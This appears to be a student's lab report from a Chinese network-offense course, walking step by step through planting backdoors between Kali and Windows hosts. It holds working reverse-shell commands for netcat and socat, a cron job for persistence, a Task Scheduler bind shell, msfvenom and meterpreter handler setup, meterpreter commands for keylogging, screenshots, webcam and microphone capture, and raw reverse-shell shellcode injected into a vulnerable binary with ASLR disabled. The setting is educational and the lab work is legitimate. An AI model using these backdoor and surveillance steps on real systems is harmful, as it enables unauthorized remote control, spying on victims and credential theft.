一、实验内容说明及基础问题回答
二、工具准备
三、实验过程
四、问题与思考
1、实验内容
(1)使用netcat获取主机操作Shell,cron启动 (0.5分)
(2)使用socat获取主机操作Shell, 任务计划启动 (0.5分)
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)
(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。
2、基础问题回答
1)例举你能想到的一个后门进入到你系统中的可能方式?
(2)例举你知道的后门如何启动起来(win及linux)的方式?
(3)Meterpreter有哪些给你映像深刻的功能?
(4)如何发现自己有系统有没有被安装后门?
Windows下用命令ipconfig
Linux下用ifconfig
Windows获得Linux shell
使用ncat程序,输入ncat.exe -l -p 5224
监听本机5224端口
在kali中使用nc指令的-e
选项,输入nc 192.168.1.2 5224 -e /bin/sh
反向连接Windows主机的5224端口
在Windows端,获得kali的shell
Linux 获得Windows shell
使用nc
指令监听5224
端口
在Windows下,使用ncat.exe
程序的-e
选项反向连接kali主机的5224
端口
此时kali可以看到Windows的命令提示,可以输入相关Windows命令(此处输入的是dir
)
Windows监听5224
端口
Kali下连接到Windows的5224
端口
建立连接后传输数据
使用netcat获取主机操作Shell,cron启动
在Windows下监听5224
端口
在kali中,用crontab -e
编辑一条定时任务,选择编辑器3
在最后一行添加24 * * * * /bin/netcat 192.168.1.2 5224 -e /bin/sh
,意思是在每小时的第24分钟反向连接Windows主机的5224
端口
时间到了14:24时,已经获得kali的shell,可以输入指令
使用socat获取主机操作Shell, 任务计划启动
socat
是ncat
的增强版,它使用的格式是socat [options] <address> <address>
,其中两个address是必选项,而options 是可选项。
socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。
在win10系统下,右击屏幕左下角windows图标,选择“计算机管理”(或者直接搜索“计算机管理”)
在任务计划程序创建任务,填写任务名称,并新建一个触发器
在操作->程序或脚本中选择你的socat.exe
文件的路径,在添加参数一栏填写tcp-listen:5224 exec:cmd.exe,pty,stderr
,这个命令的作用是把cmd.exe
绑定到端口5224
,同时把cmd.exe
的stderr
重定向到stdout
上
创建完成之后,发现任务已经准备就绪,按Windows+L快捷键锁定计算机,再次打开时,找到你创建的任务双击后,可以发现之前创建的任务已经开始运行
此时,在Kali环境下输入指令socat - tcp:192.168.1.2:5224
,这里的第一个参数-
代表标准的输入输出,第二个流连接到Windows主机的5224端口,此时可以发现已经成功获得了一个cmd shell
使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.182.128 LPORT=5224 -f exe > 20175224_backdoor.exe
生成后门程序
注意此时IP地址为LinuxIP
ncat.exe -lv 5224
>
20175224_backdoor.exe,
进入接受模式Linux中执行nc 192.168.1.2 5224 < 20175224_backdoor.exe,
注意关闭病毒查杀软件
此时IP地址为主机即WindowsIP
传送接收文件成功
在kali中打开终端,输入msfconsole
指令进入msf控制台
输入use exploit/multi/handler
进入监听模块
输入set payload windows/meterpreter/reverse_tcp
设置payload
依次输入set LHOST 192.168.182.128
和set LPORT 5224
设置IP及端口
注意此时IP地址为LinuxIP,和生成后门程序时指定的IP相同
设置完成,开始监听exploit
运行Windows下的后门程序
kali已经获得Windows主机的连接,并得到远程控制的shell
使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容
使用record_mic
指令可以截获一段音频(因家里没有供台式机使用的耳麦故无法实现)
使用webcam_snap
指令可以使用摄像头进行拍照(因家里台式机没有配置摄像头故无法实现)
使用screenshot
指令可以进行截屏
使用keyscan_start
指令开始记录下击键的过程,使用keyscan_dump
指令读取击键的记录
可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
(方法一)
使用命令msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.182.128 LPORT=5224 -x /root/Desktop/20175224/exp2/pwn1 -f elf > 5224pwn
生成以pwn1模板这个elf文件格式的shellcode文件5224pwn
msfconsole
,进入msf命令行use exploit/multi/handler /*进入handler模式*/ set payload linux/x86/meterpreter/reverse_tcp /*对应生成的后门程序设置payload*/ show options /*查看当前信息状态*/ set LHOST 192.168.182.128 /*设置LHOST,其中ip为攻击者Linux的ip*/ set LPORT 5224 /*设置LPORT*/ exploit /*启动监听*/
在kali中执行pwn2时应先加权限 chmod +x 5224pwn
(方法二)
\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80
execstack -s pwn1//设置堆栈可执行 execstack -q pwn1//查询文件的堆栈是否可执行,显示X pwn1则表示可执行 echo "0" > /proc/sys/kernel/randomize_va_space//关闭地址随机化 more /proc/sys/kernel/randomize_va_space//查看随机化是否关闭,如显示0则已关闭,2未关闭
(cat input_2;cat) | ./pwn1
运行pwn1并回车,另一边就可以得到shell了。
实验中遇到的问题
问题1:kali使用nc反弹连接后主机没有任何显示
问题1解决方案:在空白处输入命令,如ls
等,再回车即可
实验体会
本次实验做的是后门,这次实验的原理比第一次实验要容易理解一些,不过操作起来因为要使用到软件所以较第一次会麻烦一点。通过本次实验,我对相关知识的掌握程度明显有所提高,能学习到很多东西,这无疑是很让人开心的。
感觉这次的实验也很有趣,期待接下来的学习!
2019-2020-2 网络对抗技术 20175224 Exp2 后门原理与实践
原文:https://www.cnblogs.com/axyaxy/p/12503668.html